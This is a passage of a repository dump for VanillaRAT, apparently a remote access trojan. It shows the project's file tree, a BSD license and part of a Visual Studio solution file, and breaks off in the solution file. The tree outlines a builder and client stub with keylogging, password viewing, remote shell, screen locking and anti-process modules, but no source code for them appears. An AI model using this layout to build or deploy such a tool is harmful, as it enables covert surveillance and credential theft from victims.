├── .vs ├── VanillaRat │ └── v15 │ │ ├── .suo │ │ └── Server │ │ └── sqlite3 │ │ ├── db.lock │ │ ├── storage.ide │ │ ├── storage.ide-shm │ │ └── storage.ide-wal └── config │ └── applicationhost.config ├── Banner.png ├── LICENSE ├── README.md ├── Screenshot.png ├── VanillaRat.sln ├── VanillaRat.sln.DotSettings.user ├── VanillaRat ├── App.config ├── Classes │ ├── AutoClosingMsgBox.cs │ ├── Builder.cs │ ├── Notification.cs │ ├── Server.cs │ ├── Settings.cs │ ├── Telepathy │ │ ├── Client.cs │ │ ├── Common.cs │ │ ├── EventType.cs │ │ ├── Logger.cs │ │ ├── Message.cs │ │ ├── NetworkStreamExtensions.cs │ │ ├── SafeQueue.cs │ │ ├── Server.cs │ │ └── Utils.cs │ └── TempDataHelper.cs ├── ClientSettings.cs ├── FodyWeavers.xml ├── FodyWeavers.xsd ├── Forms │ ├── AudioRecorder.Designer.cs │ ├── AudioRecorder.cs │ ├── AudioRecorder.resx │ ├── BuilderForm.Designer.cs │ ├── BuilderForm.cs │ ├── BuilderForm.resx │ ├── Chat.Designer.cs │ ├── Chat.cs │ ├── Chat.resx │ ├── ClientRunningApps.Designer.cs │ ├── ClientRunningApps.cs │ ├── ClientRunningApps.resx │ ├── ClipboardTextViewer.Designer.cs │ ├── ClipboardTextViewer.cs │ ├── ClipboardTextViewer.resx │ ├── ComputerInformation.Designer.cs │ ├── ComputerInformation.cs │ ├── ComputerInformation.resx │ ├── Controls │ │ ├── FlatPanel.Designer.cs │ │ └── FlatPanel.cs │ ├── FileExplorer.Designer.cs │ ├── FileExplorer.cs │ ├── FileExplorer.resx │ ├── HardwareUsageViewer.Designer.cs │ ├── HardwareUsageViewer.cs │ ├── HardwareUsageViewer.resx │ ├── Keylogger.Designer.cs │ ├── Keylogger.cs │ ├── Keylogger.resx │ ├── Main.Designer.cs │ ├── Main.cs │ ├── Main.resx │ ├── NotificationBox.Designer.cs │ ├── NotificationBox.cs │ ├── NotificationBox.resx │ ├── OpenWebsite.Designer.cs │ ├── OpenWebsite.cs │ ├── OpenWebsite.resx │ ├── PasswordViewer.Designer.cs │ ├── PasswordViewer.cs │ ├── PasswordViewer.resx │ ├── RDC.Designer.cs │ ├── RDC.cs │ ├── RDC.resx │ ├── RemoteShell.Designer.cs │ ├── RemoteShell.cs │ ├── RemoteShell.resx │ ├── Resources │ │ ├── Administrative Tools_48px.png │ │ ├── Chat_48px.png │ │ ├── Click_Soft_00.wav │ │ ├── Close Window_48px.png │ │ ├── Communication_48px.png │ │ ├── Compose_48px.png │ │ ├── Console_48px.png │ │ ├── Disconnected_48px.png │ │ ├── Document_48px.png │ │ ├── Double Up_48px.png │ │ ├── Download_48px.png │ │ ├── Eye_48px.png │ │ ├── Flash On_48px.png │ │ ├── Headphones_48px.png │ │ ├── Info_48px.png │ │ ├── Keyboard_48px.png │ │ ├── Laptop_48px.png │ │ ├── Lock Landscape_48px.png │ │ ├── Monitor_48px.png │ │ ├── Mouse_48px.png │ │ ├── Opened Folder_48px.png │ │ ├── Paper Plane_48px.png │ │ ├── Person_48px.png │ │ ├── Play_48px.png │ │ ├── Resize_48px.png │ │ ├── Restart_48px.png │ │ ├── Server_48px.png │ │ ├── Services_48px.png │ │ ├── Source Code_48px.png │ │ ├── Upload_48px.png │ │ ├── Website_48px.png │ │ └── Windows Client_48px.png │ ├── SettingsForm.Designer.cs │ ├── SettingsForm.cs │ └── SettingsForm.resx ├── Program.cs ├── Properties │ ├── AssemblyInfo.cs │ ├── Resources.Designer.cs │ ├── Resources.resx │ ├── Settings.Designer.cs │ └── Settings.settings ├── Settings.cs ├── StreamLibrary.dll ├── VanillaRat.csproj ├── VanillaRat.csproj.user ├── bin │ ├── Debug │ │ ├── BlockedConnections.txt │ │ ├── VanillaRat.exe │ │ ├── VanillaRat.exe.config │ │ ├── VanillaRat.pdb │ │ ├── VanillaStub.exe │ │ └── dnlib.xml │ └── Release.zip ├── obj │ ├── Debug │ │ ├── Costura │ │ │ ├── 0142130198ACCF6E1C479D175B260285A868B6C9.costura.telepathy.dll.compressed │ │ │ ├── 0564FF7F7E6084BD6D02D8E6A4127D1C878B3FA6.costura.system.globalization.calendars.dll.compressed │ │ │ ├── 05E65EE95F647F38C717C73A0399870912DD374A.costura.system.threading.tasks.parallel.dll.compressed │ │ │ ├── 09D02B85A094E925AC3C5D8B1ACA096B730C160F.costura.system.xml.xmldocument.dll.compressed │ │ │ ├── 0B7A9EC0DFF6D958C9C64B5F592993372D31C5E9.costura.system.valuetuple.dll.compressed │ │ │ ├── 12419C25D1C2EB706A4E4E649EE353CEDA7446A9.costura.system.diagnostics.fileversioninfo.dll.compressed │ │ │ ├── 1420EF91F6E0F6954F373F1AC4079064398AB455.costura.system.net.sockets.dll.compressed │ │ │ ├── 15349E541122743A5D355946E48380AC1811B52F.costura.system.runtime.interopservices.runtimeinformation.dll.compressed │ │ │ ├── 16EB49AFCA84C9E6160B4E5B36F1EC5C98470C86.costura.system.io.filesystem.driveinfo.dll.compressed │ │ │ ├── 1BA9ECC598E170D779CEB290163AC88E6993935F.costura.system.net.ping.dll.compressed │ │ │ ├── 1C2CEFAFBA48BA7AAAB746F660DEBD34F2F4B14C.costura.system.net.http.dll.compressed │ │ │ ├── 20AEAED12DFB8D71E39687350EB12BC0DE372AF0.costura.system.componentmodel.primitives.dll.compressed │ │ │ ├── 2CB934305D3648FF29FDBC7D92485003F8458848.costura.system.net.nameresolution.dll.compressed │ │ │ ├── 2CB98F9622F57A0A9E037A378519AA6A271302F6.costura.system.globalization.extensions.dll.compressed │ │ │ ├── 2E32D50EC33EC6635681485B754F4E58D434A5EE.costura.system.componentmodel.dll.compressed │ │ │ ├── 2E6A3047BD3BCEE01F55D139A3C03E6D4D2DB14A.costura.system.runtime.interopservices.dll.compressed │ │ │ ├── 2EF7D0A222C3A3E564B3C72D5B71A5BE40A7ADEA.costura.system.diagnostics.process.dll.compressed │ │ │ ├── 311F52B31611E6DC5FD4C0159BFA452C22980CA7.costura.system.collections.concurrent.dll.compressed │ │ │ ├── 33AC74D6E549026736CBD35D466E7ABECDEAFB81.costura.streamlibrary.dll.compressed │ │ │ ├── 33D1EBD7212D747C8723CFB9E4292C99A641B964.costura.system.reflection.primitives.dll.compressed │ │ │ ├── 3946DFF0B68F0CA01689BD44C348559ADF548258.costura.system.text.encoding.dll.compressed │ │ │ ├── 3CA31DE7F0F0784559E5A73EBD0EFB42C34D18FC.costura.system.reflection.dll.compressed │ │ │ ├── 474944856DB781A34796BFCCE18ECD4580275AD1.costura.system.io.unmanagedmemorystream.dll.compressed │ │ │ ├── 48F227C62B2001C441BCBC5B570911F096DDF421.costura.system.io.isolatedstorage.dll.compressed │ │ │ ├── 49392F58BE6F5C97C5DE59BFC44F9CFCBE1E5DD7.costura.system.net.websockets.client.dll.compressed │ │ │ ├── 498F0FBBD2712F4F637BDB7370B2302FCC4966F3.costura.system.resources.reader.dll.compressed │ │ │ ├── 4D4AE0D2664025327F28400D917CC59AFD69F33A.costura.system.linq.parallel.dll.compressed │ │ │ ├── 4D923B100142AFA2E0A8B7ACDB3A6DE6FEB91148.costura.system.collections.dll.compressed │ │ │ ├── 4D93C7D7E6315CA2195ED73716996ADE8E17FBB2.costura.system.linq.dll.compressed │ │ │ ├── 5042EE630A6C7C2986E8323A14D052C1D83B6F61.costura.system.diagnostics.contracts.dll.compressed │ │ │ ├── 51E466218025126C5E524AFD2086F4AB0BF3660A.costura.system.diagnostics.tools.dll.compressed │ │ │ ├── 526C688E71A7D7410007AD5AA6EA8B83CACE76C5.costura.system.collections.nongeneric.dll.compressed │ │ │ ├── 5627E53D15E56868DC9082EDCAE5A653B96B9AF1.costura.system.linq.expressions.dll.compressed │ │ │ ├── 584B8683943A8E0AE98B10F452C94F6109D1C4EA.costura.system.runtime.handles.dll.compressed │ │ │ ├── 59FEB2AF0BE9EC4CCEC2125D2383E3E282F428A7.costura.costura.dll.compressed │ │ │ ├── 5AC34F02482BC2228F1175B9F3727C54F6B0A705.costura.dnlib.pdb.compressed │ │ │ ├── 5E4158533532A27E03D0CCC9A0AF5E89FFFD8637.costura.system.net.security.dll.compressed │ │ │ ├── 5EA3F290ECDE1BAB983CEEE2417A688B7ED9B7F5.costura.system.threading.timer.dll.compressed │ │ │ ├── 5F3DA777AF01DBC159BD8D9D97D5DC105918AFC5.costura.system.componentmodel.eventbasedasync.dll.compressed │ │ │ ├── 609F31B98831327677E89E08BFF7D7322BA0F4A4.costura.system.io.compression.dll.compressed │ │ │ ├── 6523838EF4AAB39D0D3C0DF11C28ADA449EDD592.costura.system.net.webheadercollection.dll.compressed │ │ │ ├── 68C240D1A43DE1678EF13107B9300C544E9D5E4E.costura.system.io.filesystem.watcher.dll.compressed │ │ │ ├── 68E1AF02CDDD57B5581708984C2B4A35074982A3.costura.netstandard.dll.compressed │ │ │ ├── 7A6276348D85EAF00AE6958117797045929078CB.costura.system.runtime.compilerservices.visualc.dll.compressed │ │ │ ├── 7ADD96BAA123DB819F2F3D5AA62D6F872CE8FE14.costura.system.data.common.dll.compressed │ │ │ ├── 7B249C6390DFC90EF33F9A697174E363080091EF.costura.microsoft.win32.primitives.dll.compressed │ │ │ ├── 7D71B46BB9A28289384AA1EDF5CB03D64B3BCFF0.costura.system.runtime.extensions.dll.compressed │ │ │ ├── 7FE773332D0461A252E52BE720A7794FCAAC7BFB.costura.system.text.encoding.extensions.dll.compressed │ │ │ ├── 82BA1313448B431893C14D866F46D47B620514A9.costura.system.security.principal.dll.compressed │ │ │ ├── 846711D4161A3950FACDEF97037898A71F4EFDA1.costura.system.globalization.dll.compressed │ │ │ ├── 87C352153804FF5BD4F8AEF8851546F3CF22461E.costura.system.runtime.serialization.primitives.dll.compressed │ │ │ ├── 87ED79D195D8D93AE1155AF08857F751A7ECA245.costura.system.diagnostics.tracing.dll.compressed │ │ │ ├── 8A2FB74CF11719708774FC378D8B5BFCC541C986.costura.system.objectmodel.dll.compressed │ │ │ ├── 8BBB7BADAAA912C1F17775E9ACDCAB389704C772.costura.system.collections.specialized.dll.compressed │ │ │ ├── 90E196DCD76168F770ABE30098399BC5866ADF1B.costura.system.xml.xpath.xdocument.dll.compressed │ │ │ ├── 92BF07CCF32EB9FDF06F446A256E0271C4028BF0.costura.system.io.compression.zipfile.dll.compressed │ │ │ ├── 93702135DB0646B893BABE030BD8DC15549FF0C2.costura.system.appcontext.dll.compressed │ │ │ ├── 95699D187BF150D319CC64F90064301CAC57F338.costura.system.security.cryptography.algorithms.dll.compressed │ │ │ ├── 96314EC1A59E4BB53C5B609BF79AD4C998A7A988.costura.system.diagnostics.tracesource.dll.compressed │ │ │ ├── 97B62A3DBE2465B4C995E082AD6FF183F6267F59.costura.system.security.claims.dll.compressed │ │ │ ├── 9A66414D9D5C26852F44A7954C97B8416A244C7A.costura.darkui.dll.compressed │ │ │ ├── 9D5686CBF45E90DF5E11D87E7B90173A1A64B1A0.costura.system.console.dll.compressed │ │ │ ├── A00954217CA326C54A863D451820263A6D7EE1AF.costura.system.io.pipes.dll.compressed │ │ │ ├── A181F5CC93E9273D9169A9954A74D73BC1852980.costura.system.linq.queryable.dll.compressed │ │ │ ├── A674C009A518FA67643E617EEC6BA54632EE876B.costura.dnlib.dll.compressed │ │ │ ├── A67FDACEB10E828805A9E24FE0C59E1D73D19A7C.costura.system.security.cryptography.csp.dll.compressed │ │ │ ├── A69238054BEE26063D32B85B797BC4E0C49F79D4.costura.system.security.cryptography.primitives.dll.compressed │ │ │ ├── A6999C04B243B034F8EE7AD0D79F3CE24DF9A9D0.costura.system.io.dll.compressed │ │ │ ├── A994C87352486D433A06943C01329DD721AB343F.costura.system.dynamic.runtime.dll.compressed │ │ │ ├── AD55AF22E5479A5ADDF01D698138E5149270E3CF.costura.system.net.networkinformation.dll.compressed │ │ │ ├── B0A8868D459FE0AF34D16C263CFE0202C414DC53.costura.system.security.cryptography.x509certificates.dll.compressed │ │ │ ├── B1756DC750ED5CFD5D0BFC70CB899FD590867A0C.costura.system.resources.writer.dll.compressed │ │ │ ├── B219DD45550762B54DAB46533D489C4755F55E0E.costura.system.net.primitives.dll.compressed │ │ │ ├── B56C3D2E270B1C793A2EE17CAC9C98B178258E94.costura.system.net.requests.dll.compressed │ │ │ ├── B6B8986FC1B5140817DE262AE4102499E37DAFFD.costura.system.runtime.serialization.formatters.dll.compressed │ │ │ ├── B81FF87B407578EFBF184BDC10D0F101610379DB.costura.system.runtime.numerics.dll.compressed │ │ │ ├── BBBB4C2C3911AE1F5BA7FAF1D632ED0F14D9B6AC.costura.system.xml.xmlserializer.dll.compressed │ │ │ ├── BF2C1287F0EC04223CD17FE20AB2ECFFF18579E3.costura.system.threading.overlapped.dll.compressed │ │ │ ├── BF83A7E98418BDE907DEAE8C0C0F3FB0F6C9DB1A.costura.system.resources.resourcemanager.dll.compressed │ │ │ ├── BFA0E27BE1D56BA48918A9B7CA7090AF7779A10E.costura.system.io.filesystem.dll.compressed │ │ │ ├── BFE2384A92B385665689AD5A72F23ABC8C022D82.costura.system.componentmodel.typeconverter.dll.compressed │ │ │ ├── C2E4B19CB9A0B48E899512CD121FFE6657D41072.costura.system.text.regularexpressions.dll.compressed │ │ │ ├── C3848473E42E2F9B4D0A00180EA9ADE654432587.costura.system.diagnostics.textwritertracelistener.dll.compressed │ │ │ ├── C53132EC95A7211C1BB6DCD5AD21CCB150A7B923.costura.system.threading.thread.dll.compressed │ │ │ ├── D707745E72D2F39374F2D28AF52AAAB7888B93AB.costura.system.drawing.primitives.dll.compressed │ │ │ ├── D9DF77B4993418337894FF04C6B813224B9F8543.costura.system.io.memorymappedfiles.dll.compressed │ │ │ ├── DDDA49572D112944EC9AB62B31959AA93A386618.costura.system.threading.dll.compressed │ │ │ ├── DFAD52A9990B2FAFCE7098CEBB174927E8E0BA00.costura.system.xml.xdocument.dll.compressed │ │ │ ├── E0FAD5EF75676B2ED7CF155AF6602B867FCED041.costura.system.net.websockets.dll.compressed │ │ │ ├── EB8C010A35B461402C1C33133F1B61C78BE8425A.costura.system.diagnostics.debug.dll.compressed │ │ │ ├── ED23E654968B3704A82F613B06BE5829E0CAAD70.costura.system.security.cryptography.encoding.dll.compressed │ │ │ ├── ED25E94D4E88293345A0F28A5B975159C393B050.costura.system.xml.xpath.dll.compressed │ │ │ ├── EE1AE416570911282ABDD3745674E58F9D469C9E.costura.system.runtime.serialization.json.dll.compressed │ │ │ ├── EF317CACC230A58A3B2FCC6CC079CC763AFCC7C5.costura.system.xml.readerwriter.dll.compressed │ │ │ ├── EF6B3CCFF90BEDDAB5CE6F60B4CC23F75EDFD009.costura.system.diagnostics.stacktrace.dll.compressed │ │ │ ├── F3BD9B4108ACD42ABFB99A3A4760BFFCB84F6C28.costura.system.reflection.extensions.dll.compressed │ │ │ ├── F434AF8CE30EAF5511E28C0230211F0D8ED4A154.costura.system.runtime.serialization.xml.dll.compressed │ │ │ ├── F720109A38846E358BDE7C47D9C946A79D2B6B1C.costura.system.threading.tasks.dll.compressed │ │ │ ├── F874903CEA9F08F1A0887949B47722E6BA81B789.costura.system.threading.threadpool.dll.compressed │ │ │ ├── FCA2F72C039937357099CA6E167330E540F8335D.costura.system.io.filesystem.primitives.dll.compressed │ │ │ ├── FD622ADE5CAE26353A22B6FA50A83669B72B6C41.costura.system.runtime.dll.compressed │ │ │ └── FF6E6BCD83A11D40BF53DABD0480A67AECFDCF50.costura.system.security.securestring.dll.compressed │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ ├── TempPE │ │ │ └── Properties.Resources.Designer.cs.dll │ │ ├── TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs │ │ ├── TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs │ │ ├── TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs │ │ ├── VanillaRat.Forms.AudioRecorder.resources │ │ ├── VanillaRat.Forms.BuilderForm.resources │ │ ├── VanillaRat.Forms.Chat.resources │ │ ├── VanillaRat.Forms.ClientRunningApps.resources │ │ ├── VanillaRat.Forms.ClipboardTextViewer.resources │ │ ├── VanillaRat.Forms.ComputerInformation.resources │ │ ├── VanillaRat.Forms.FileExplorer.resources │ │ ├── VanillaRat.Forms.HardwareUsageViewer.resources │ │ ├── VanillaRat.Forms.Keylogger.resources │ │ ├── VanillaRat.Forms.NotificationBox.resources │ │ ├── VanillaRat.Forms.OpenWebsite.resources │ │ ├── VanillaRat.Forms.PasswordViewer.resources │ │ ├── VanillaRat.Forms.RDC.resources │ │ ├── VanillaRat.Forms.RemoteDesktopViewer.resources │ │ ├── VanillaRat.Forms.RemoteShell.resources │ │ ├── VanillaRat.Forms.SettingsForm.resources │ │ ├── VanillaRat.Main.resources │ │ ├── VanillaRat.Properties.Resources.resources │ │ ├── VanillaRat.csproj.CopyComplete │ │ ├── VanillaRat.csproj.CoreCompileInputs.cache │ │ ├── VanillaRat.csproj.FileListAbsolute.txt │ │ ├── VanillaRat.csproj.Fody.CopyLocal.cache │ │ ├── VanillaRat.csproj.GenerateResource.cache │ │ ├── VanillaRat.csprojAssemblyReference.cache │ │ ├── VanillaRat.exe │ │ └── VanillaRat.pdb │ └── x64 │ │ ├── Debug │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ ├── TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs │ │ ├── TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs │ │ ├── TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs │ │ └── VanillaRat.csproj.CoreCompileInputs.cache │ │ └── Release │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ ├── TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs │ │ ├── TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs │ │ ├── TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs │ │ └── VanillaRat.csproj.CoreCompileInputs.cache └── packages.config ├── VanillaRatDemo.gif ├── VanillaStub ├── App.config ├── ClientSettings.cs ├── Forms │ ├── Chat.Designer.cs │ ├── Chat.cs │ ├── Chat.resx │ ├── IScreenLocker.cs │ ├── InitialForm.Designer.cs │ ├── InitialForm.cs │ ├── InitialForm.resx │ ├── ScreenLock.Designer.cs │ ├── ScreenLock.cs │ └── ScreenLock.resx ├── Helpers │ ├── Enums.cs │ ├── Information │ │ ├── ComputerInfo.cs │ │ └── GeoInfo.cs │ ├── Networking │ │ ├── Networking.cs │ │ └── Telepathy │ │ │ ├── Client.cs │ │ │ ├── Common.cs │ │ │ ├── EventType.cs │ │ │ ├── Logger.cs │ │ │ ├── Message.cs │ │ │ ├── NetworkStreamExtensions.cs │ │ │ ├── SafeQueue.cs │ │ │ ├── Server.cs │ │ │ └── Utils.cs │ └── Services │ │ ├── AntiProcess.cs │ │ ├── InputSimulator │ │ ├── IInputDeviceStateAdaptor.cs │ │ ├── IInputMessageDispatcher.cs │ │ ├── IInputSimulator.cs │ │ ├── IKeyboardSimulator.cs │ │ ├── IMouseSimulator.cs │ │ ├── InputBuilder.cs │ │ ├── InputSimulator.cs │ │ ├── KeyboardSimulator.cs │ │ ├── MouseButton.cs │ │ ├── MouseSimulator.cs │ │ ├── Native │ │ │ ├── HARDWAREINPUT.cs │ │ │ ├── INPUT.cs │ │ │ ├── InputType.cs │ │ │ ├── KEYBDINPUT.cs │ │ │ ├── KeyboardFlag.cs │ │ │ ├── MOUSEINPUT.cs │ │ │ ├── MOUSEKEYBDHARDWAREINPUT.cs │ │ │ ├── MouseFlag.cs │ │ │ ├── NativeMethods.cs │ │ │ ├── VirtualKeyCode.cs │ │ │ └── XButton.cs │ │ ├── WindowsInputDeviceStateAdaptor.cs │ │ └── WindowsInputMessageDispatcher.cs │ │ ├── Keylogger.cs │ │ ├── StreamClasses.cs │ │ └── StreamLibrary │ │ ├── Enums.cs │ │ ├── IUnsafeCodec.cs │ │ ├── IVideoCodec.cs │ │ ├── UnsafeCodecs │ │ └── UnsafeStreamCodec.cs │ │ └── src │ │ ├── CRC32.cs │ │ ├── ExtensionAttribute.cs │ │ ├── Extensions.cs │ │ ├── FastBitmap.cs │ │ ├── JpgCompression.cs │ │ ├── LzwCompression.cs │ │ ├── MurmurHash2Unsafe.cs │ │ ├── NativeMethods.cs │ │ ├── PayloadWriter.cs │ │ ├── PointerHelper.cs │ │ ├── SafeQuickLZ.cs │ │ └── SimpleBitmap.cs ├── Program.cs ├── Properties │ ├── AssemblyInfo.cs │ ├── Resources.Designer.cs │ ├── Resources.resx │ ├── Settings.Designer.cs │ └── Settings.settings ├── VanillaStub.csproj ├── VanillaStub.csproj.DotSettings ├── VanillaStub.csproj.user ├── alert-logo-png-2.png ├── bin │ └── Debug │ │ ├── VanillaStub.exe │ │ ├── VanillaStub.exe.config │ │ └── VanillaStub.pdb └── obj │ └── Debug │ ├── DesignTimeResolveAssemblyReferences.cache │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ ├── TempPE │ └── Properties.Resources.Designer.cs.dll │ ├── TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs │ ├── TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs │ ├── TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs │ ├── VanillaStub.Forms.Chat.resources │ ├── VanillaStub.Forms.InitialForm.resources │ ├── VanillaStub.Forms.ScreenLock.resources │ ├── VanillaStub.Properties.Resources.resources │ ├── VanillaStub.csproj.CoreCompileInputs.cache │ ├── VanillaStub.csproj.FileListAbsolute.txt │ ├── VanillaStub.csproj.GenerateResource.cache │ ├── VanillaStub.csprojAssemblyReference.cache │ ├── VanillaStub.exe │ └── VanillaStub.pdb └── packages ├── Costura.Fody.3.3.2 ├── .signature.p7s ├── Costura.Fody.3.3.2.nupkg ├── build │ └── Costura.Fody.props ├── lib │ └── net40 │ │ ├── Costura.dll │ │ └── Costura.xml ├── netclassicweaver │ ├── Costura.Fody.dll │ ├── Costura.Fody.pdb │ └── Costura.Fody.xcf └── netstandardweaver │ ├── Costura.Fody.dll │ ├── Costura.Fody.pdb │ └── Costura.Fody.xcf ├── Fody.3.3.5 ├── .signature.p7s ├── Fody.3.3.5.nupkg ├── build │ └── Fody.targets ├── netclassictask │ ├── Fody.dll │ ├── FodyCommon.dll │ ├── FodyHelpers.dll │ ├── FodyIsolated.dll │ ├── Mono.Cecil.Mdb.dll │ ├── Mono.Cecil.Mdb.pdb │ ├── Mono.Cecil.Pdb.dll │ ├── Mono.Cecil.Pdb.pdb │ ├── Mono.Cecil.Rocks.dll │ ├── Mono.Cecil.Rocks.pdb │ ├── Mono.Cecil.dll │ └── Mono.Cecil.pdb └── netstandardtask │ ├── Fody.dll │ ├── FodyCommon.dll │ ├── FodyHelpers.dll │ ├── FodyIsolated.dll │ ├── Mono.Cecil.Mdb.dll │ ├── Mono.Cecil.Mdb.pdb │ ├── Mono.Cecil.Pdb.dll │ ├── Mono.Cecil.Pdb.pdb │ ├── Mono.Cecil.Rocks.dll │ ├── Mono.Cecil.Rocks.pdb │ ├── Mono.Cecil.dll │ └── Mono.Cecil.pdb └── dnlib.3.1.0 ├── .signature.p7s ├── LICENSE.txt ├── dnlib.3.1.0.nupkg └── lib ├── net35 ├── dnlib.dll ├── dnlib.pdb └── dnlib.xml ├── net461 ├── dnlib.dll ├── dnlib.pdb └── dnlib.xml ├── netcoreapp2.1 ├── dnlib.dll ├── dnlib.pdb └── dnlib.xml └── netstandard2.0 ├── dnlib.dll ├── dnlib.pdb └── dnlib.xml /.vs/VanillaRat/v15/.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/.vs/VanillaRat/v15/.suo -------------------------------------------------------------------------------- /.vs/VanillaRat/v15/Server/sqlite3/db.lock: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/.vs/VanillaRat/v15/Server/sqlite3/db.lock -------------------------------------------------------------------------------- /.vs/VanillaRat/v15/Server/sqlite3/storage.ide: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/.vs/VanillaRat/v15/Server/sqlite3/storage.ide -------------------------------------------------------------------------------- /.vs/VanillaRat/v15/Server/sqlite3/storage.ide-shm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/.vs/VanillaRat/v15/Server/sqlite3/storage.ide-shm -------------------------------------------------------------------------------- /.vs/VanillaRat/v15/Server/sqlite3/storage.ide-wal: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/.vs/VanillaRat/v15/Server/sqlite3/storage.ide-wal -------------------------------------------------------------------------------- /Banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/Banner.png -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2021, Daniel Huinda 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /Screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/Screenshot.png -------------------------------------------------------------------------------- /VanillaRat.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.28307.329 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "VanillaRat", "VanillaRat\VanillaRat.csproj", "{D0F2EE67-0A50-423D-BFE6-845DA892A2DB}" 7 | EndProject 8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "VanillaStub", "VanillaStub\VanillaStub.csproj", "{A593FCD2-C8AB-45F6-9AEB-8AB5E20AB402}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|Any CPU = Debug|Any CPU 13 | Debug|x64 = Debug|x64 14 | Release|Any CPU = Release|Any CPU 15 | Release|x64 = Release|x64 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {D0F2EE67-0A50-423D-BFE6-845DA892A2DB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 19 | {D0F2EE67-0A50-423D-BFE6-845DA892A2DB}.Debug|Any CPU.Build.0 = Debug|Any CPU 20 | {D0F2EE67-0A50-423D-BFE6-845DA892A2DB}.Debug|x64.ActiveCfg = Debug|Any CPU 21 | {D0F2EE67-0A50-423D-BFE6-845DA892A2DB}.Debug|x64.Build.0 = Debug|Any CPU 22 | {D0F2EE67-0A50-423D-BFE6-845DA892A2DB}.Release|Any CPU.ActiveCfg = Release|Any CPU 23 | {D0F2EE67-0A50-423D-BFE6-845DA892A2DB}.Release|Any CPU.Build.0 = Release|Any CPU 24 | {D0F2EE67-0A50-423D-BFE6-845DA892A2DB}.Release|x64.ActiveCfg = Release|x64 25 | {D0F2EE67-0A50-423D-BFE6-845DA892A2DB}.Release|x64.Build.0 = Release|x64 26 | {A593FCD2-C8AB-45F6-9AEB-8AB5E20AB402}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 27 | {A593FCD2-C8AB-45F6-9AEB-8AB5E20AB402}.Debug|Any CPU.Build.0 = Debug|Any CPU 28 | {A593FCD2-C8AB-45F6-9AEB-8AB5E20AB402}.Debug|x64.ActiveCfg = Debug|Any CPU 29 | 